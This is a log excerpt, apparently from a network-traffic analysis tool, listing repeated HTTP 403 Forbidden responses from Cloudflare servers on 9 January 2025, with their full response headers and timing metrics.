Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:29:19 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:29:34 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=RyKKvjyvV%2ByAJCNiKIqV8fbE7bU1FGUnszbBs8UxdXM7VqrzjaG4dCXid%2BY39uA3TKc%2BPM2sRT7J%2FE5VkgD9H%2BcSDlVj8XUgeYrukIZybN03JkAb9ClEEofqFmwGXS2x8kmgT7qYaG2xJCn1"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b732ab3a7d26-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1932&min_rtt=1921&rtt_var=743&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1451292&cwnd=205&unsent_bytes=0&cid=4e0e041708636174&ts=153&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:29:20 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:29:35 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=GLk4n3UHU5OEVkZsB9iNmoSv6u%2FQ1uvaPJbb%2F%2B%2BoTfRcU83c8c2Ni37yykqPW4Tg6hZEHpQ6flZLSFz3qMC3NEXwRe5%2BZexUd4ONbr1XhnSlEm3zuAHkDB62D2Bv7EE8ApK0zIdEhykb7eFG"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b736596e435d-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1574&min_rtt=1567&rtt_var=602&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2853&recv_bytes=704&delivery_rate=1798029&cwnd=128&unsent_bytes=0&cid=922b4a8d4ccf4107&ts=129&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:29:21 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:29:36 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Z9tXA7qjSpV%2BDENojdkq5ofEa2G16meElP%2BbFN73q9W86CBdI05h6EQSF8hLtNRBHqXoCnmGnHwxvnPUaaR5JLWe0BklUf7D301I9pieY4ZRcDoUf%2F%2FtxY4quFGQZnP72gh0F7y7XGT2MSaq"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b73a3fe07295-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=2021&min_rtt=2018&rtt_var=763&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1427174&cwnd=206&unsent_bytes=0&cid=7616b53c03a5bade&ts=150&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:29:21 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:29:36 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=wJoTFGHGSAkILFCEPduc65Pf6JTNAQPjKgaUfauEs9K636yg1VL9W%2FOi0NfdKIDbLPKL37KJ9Cp1JJa68KQ5M55186MmFuDqIEvTwPGcDEhA2A4XLuStdegsJHo8ppDplSrfS%2F9s6RdM6TTW"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b73e28edc33c-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1514&min_rtt=1511&rtt_var=573&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2855&recv_bytes=704&delivery_rate=1899804&cwnd=148&unsent_bytes=0&cid=f7a94fe2ac1f2760&ts=150&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:29:22 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:29:37 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=iiY07DoCAHWRAbvWCETw%2FTUJAlUz7ADQZBM2yJqrdD0olzKrj%2F%2FaWASKDA8D6HC0yG4ruHNQx9%2FLiOlwAHW%2FQY7lv9kiyAAtV2rZmZRTrgOKSrHgUqmH%2B4k8w7iaBNtbUU3zTI%2FrAgrhKPQK"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b741edae0dc7-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1945&min_rtt=1939&rtt_var=740&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1465127&cwnd=218&unsent_bytes=0&cid=424d8ecf2f9bfb65&ts=127&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:29:22 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:29:37 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Ma9PvUMZJFB2vcYpOTp86kgx8X%2BOHvPEPzky1g2g9zvDC%2BIONmou3X30hHNMjFNwgobCaw3OJG0gta4Lb97OKBlsdiLT8HjJ0ANcVaLiwL9c1cGl7PDX%2B9ITwUUzYrAoQ3cFVdfKQz6HTJ6A"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b745cedc433f-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=2382&min_rtt=2375&rtt_var=906&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2853&recv_bytes=704&delivery_rate=1197703&cwnd=222&unsent_bytes=0&cid=b080e2d471aaa630&ts=149&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:29:23 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:29:38 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=psQlSJ6rTbLfDsqs1qgzii8FDYCpSNwCk%2BpZyvrko1GnfiIPsuz8IESwVaSaRlKDUodGJoTc3VAy%2FmIS2BCaJ7v5n6iaLmBFkDznZu8QZefApsCJHOyM6wSxaUnpLxXzpNUUbCYD7aWAhVSP"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b74968174387-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1550&min_rtt=1543&rtt_var=594&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2855&recv_bytes=704&delivery_rate=1818181&cwnd=76&unsent_bytes=0&cid=7ad3169f296bbafe&ts=134&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:29:24 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:29:39 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=sAk%2BKnvBe%2FnSs4DceFUphIdThHttlWpyGQVzqAXMSMK045L0XKx678Nzn72bvXMzhSodnca4HGtnL23WDDbdXs6iQoNTOCKZNDddARwrbaE787vvy2Q24Y2q9qC4Qig0hl519UuiHYaxOs9u"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b74d2e588c1b-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1980&min_rtt=1978&rtt_var=747&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1460000&cwnd=215&unsent_bytes=0&cid=f46b6d85b20529d1&ts=136&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:29:24 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:29:39 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=KrEh1UeoDpbHX4ztEiKsHfBebXfIykFxaw0U%2FGEGaoI2ijhn00yCsWzq8BlRRutVou6z4aPXMeO7cRnPSI%2Bz89Sh0jJS2tM3lLg%2Fcd5tbW7QUc6ex%2FcGEG1oVmI%2FeidsCpZSdjmb%2FpRPp66k"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b750ea5641db-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1741&min_rtt=1741&rtt_var=653&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2853&recv_bytes=704&delivery_rate=1676234&cwnd=235&unsent_bytes=0&cid=ab5ab6aee3dcfb75&ts=140&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:29:25 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:29:40 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=t4Gw%2FoamHWGqMRulR2c5%2FLeP67bcV4SCjhMiYrOfkhi6yyJtwZiolZ%2B2%2FPJ%2B9wXUbJT%2FjzciB2p4O6iMZJOmq0caRp4XRkIb1ccGBDXES2Rvnhtn6hcUVcRVsxCqbP9flPiXFkrpYuBUcFj8"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b754da6f0f73-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1684&min_rtt=1680&rtt_var=639&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2853&recv_bytes=704&delivery_rate=1701631&cwnd=233&unsent_bytes=0&cid=1338cf1de6441938&ts=150&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:29:25 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:29:40 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Y0RYmSv5AYCARjA38xmkhoTFzL%2BB81OnsY254lVLRUc0vIoM2mNZy4m4wckDfTQFMIxwvTJG2ZH7Q5f3OjV00t8UR1jE5kLKoYxHhX2KO5lz0FCDJTy7vMjZSDv%2FsHEsMMMPCo%2F7%2FvXIZ%2F54"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b759285e429d-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1771&min_rtt=1762&rtt_var=680&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1586956&cwnd=246&unsent_bytes=0&cid=1db156beaa8629f6&ts=141&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:29:26 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:29:41 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=0JsV%2B%2BypHm2T0lSeI0XLn13PNOhWgFDu0t6cScdapULNLJjFgAAQ9k%2BJQQO7PEJjuTVhLP40UkO1gUAR%2Fr0uJruzhasVqMShjTWvUl0zmTuzmg81DK4bTKWxUekgL%2FxvsjF8gvsrWeEluGGX"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b75d2cc20f49-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1541&min_rtt=1535&rtt_var=580&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2855&recv_bytes=704&delivery_rate=1902280&cwnd=215&unsent_bytes=0&cid=22707ebae1c62611&ts=150&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:29:27 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:29:42 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=nX9fLsGzerHR4doVGKek5Z2epFGG8zBri0hFKgO8Uv7VLOatIh68oHT4HMw%2BOXUFlsXd9N5l%2Fz%2BpO2NxA876XgCqNHS%2BUGdDvaveaYt%2B0Q%2FwB8fz%2BqemgSAhPxjbtGSPJQz0fSfjDVRXyWVw"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b7610b1278e7-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=2021&min_rtt=2019&rtt_var=762&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2855&recv_bytes=704&delivery_rate=1432777&cwnd=234&unsent_bytes=0&cid=1c41cdd8b98c3f6e&ts=152&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:29:27 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:29:42 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=HYEgg6w2Kug8lorcwdcUwJ7Wvc6xMaoUo5u1tS3qfq31a%2BP%2BegSdXo4eFMNSUzBuXQl9McZZJaArwEUjl%2B0w7U9sj6XvU4gdj%2BhlVGuoPXVRUzBnAeWTR97dkJcO2udOE1o7ixRxF%2BIwXORU"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b764fb1041a3-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1823&min_rtt=1798&rtt_var=692&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2853&recv_bytes=704&delivery_rate=1624026&cwnd=162&unsent_bytes=0&cid=68901536894b44dd&ts=153&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:29:28 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:29:43 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=QInSXNrfoUezcAFYSU6V7bCNQLDexgV1hgvnG%2FFAXmVMF%2B0PI1T6wliYpRrf78hkf%2BMeiRN0jeL0sXPZH5kcBw4fBEDnpGTXMsOaYBRYj8JFf4w6fZOMYTXF%2Fbq3J6IVmS7TSAqHXV08devj"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b768da4d42b0-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1708&min_rtt=1659&rtt_var=657&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2855&recv_bytes=704&delivery_rate=1760096&cwnd=233&unsent_bytes=0&cid=6758a36284491a4e&ts=128&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:29:29 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:29:44 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=eWxgWd%2Fy6dn9UPWOYVc8o1INAX5k4eAeNWgi2wLej%2FyV%2BVPY4OBuLYvBHpefwmigoHpEG3kRcHetTDazAJyQe5YVPJH1UUIpoO6w6PlhiinNLJORngI%2Fg0zD3QxHfoq6IgnSZp09sqkwP5r%2F"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b76c9d9a42e0-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1766&min_rtt=1755&rtt_var=666&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1663817&cwnd=252&unsent_bytes=0&cid=9e3569a950a5ce79&ts=135&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:29:29 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:29:44 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ZJL0OjubYLPDXowg%2FQOElqObfD%2FixwPUQMLDk%2BSd1S%2FxoNmuaEJ8J9fKMU1CUHtOYG4nBCUo96Dn80AHG6dtPx9mWmY29yjpZSdJFfuBj22ou780vh3M0vtFRsQUGYtcs%2Fj9gkKZTzc9uo4v"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b7706d525e67-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1579&min_rtt=1575&rtt_var=599&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2855&recv_bytes=704&delivery_rate=1812538&cwnd=244&unsent_bytes=0&cid=b36e9b3538e8fa26&ts=141&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:29:30 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:29:45 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=BW4Xrs8lf5q8pZnKCgjl09NV%2F3PN8sA5eeBzm3NEr%2BrioxIqX%2BvD82HoHdM7FhfqzOVlxlPcBfQJiBBGMejY8OU8EEBSlf3sVZ8Mj6ph5yNnwgNhTJvy2pvtNrZnmtYBFH23zmnZmU7%2BRsAI"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b774497a4225-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1733&min_rtt=1719&rtt_var=654&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2853&recv_bytes=704&delivery_rate=1698662&cwnd=235&unsent_bytes=0&cid=9e97ca4a507b96aa&ts=150&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:29:30 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:29:45 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=bj1LH0v8wgyI4hPAh74rZOn7ZgoCVsY5DUQACXVZL494wK0jIVd28ad%2BSqdHG58t0j3PaUIjf19cC5R9TFzKxJSq4FRbK0Tncj6DnQtlzxC6Izc6luLTvL942Gr8cTOMb3sTF3rg0Mn%2FGM9E"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b777fa620f70-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1689&min_rtt=1687&rtt_var=637&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1713615&cwnd=212&unsent_bytes=0&cid=5c8cb8f45397a410&ts=134&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:29:31 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:29:46 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=7IrXLOSHo8dzLtWKmD01qwC61D5%2FrSHiSHup8UGpCPO7us6hsRcFazCyFzGVS%2Bw2doujP7hvdRtY3ZmPOHgZlfuq67oB1AKOsrzX9VGa6KDUzkb2FNMjuZitUTWNUV3XR1MbhbLSQuqYo7aF"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b77bbb8c1819-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1682&min_rtt=1675&rtt_var=643&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1682027&cwnd=215&unsent_bytes=0&cid=553c9223b52a6aae&ts=137&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:29:32 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:29:47 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=XIzE%2BakXw1frP%2BeRWdYcSGk9mKy7qEUxEcw2ofaXMgfFob%2BfFCXQW3JRHJK7%2FUcy16txA9A9COxxXeO2eCkJTMCMdV9wrgVSoXDV8vkj2XzLtleFlnUhxAyL6MzdjuxsVQKUbOCvobw1rSmr"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b77f8d268c0b-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=2024&min_rtt=2020&rtt_var=765&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2855&recv_bytes=704&delivery_rate=1422308&cwnd=214&unsent_bytes=0&cid=3940396efce90c95&ts=142&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:29:32 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:29:47 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ncreAeDXfrqgnEmjt%2BfyRH5nhwUrBRKqmCNl05dV%2F7aEsb9uYddv0jnz22QcZHkDe2S9%2FTYXuXBkrnagFeflQeTayv%2Bb7XevGJ5WAdYkpE5oMCpJ2I2kFcjFJqGxH4r8sdGN7kWazKGvztsx"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b7836e564337-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=2063&min_rtt=2062&rtt_var=775&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1410628&cwnd=222&unsent_bytes=0&cid=13288dea66f68316&ts=152&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:29:33 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:29:48 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=RyOUwx0vkSR9xgMaoLDRn%2F4POwqkIAPHgHtTXuwhWu%2FK%2FE4Wg1G7%2FeuoigIVmJdR6s032aFRS%2FSvA6rKIVYFEwpLo1Lqpce%2B00w5sxr27vc90cy4Vhnc3ZhZZk0VmRNoY%2Bd9nKoIFvcMm1p%2B"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b7872b637cee-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1908&min_rtt=1898&rtt_var=733&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2853&recv_bytes=704&delivery_rate=1471774&cwnd=176&unsent_bytes=0&cid=827e28fe1f0d7aff&ts=138&x=0"
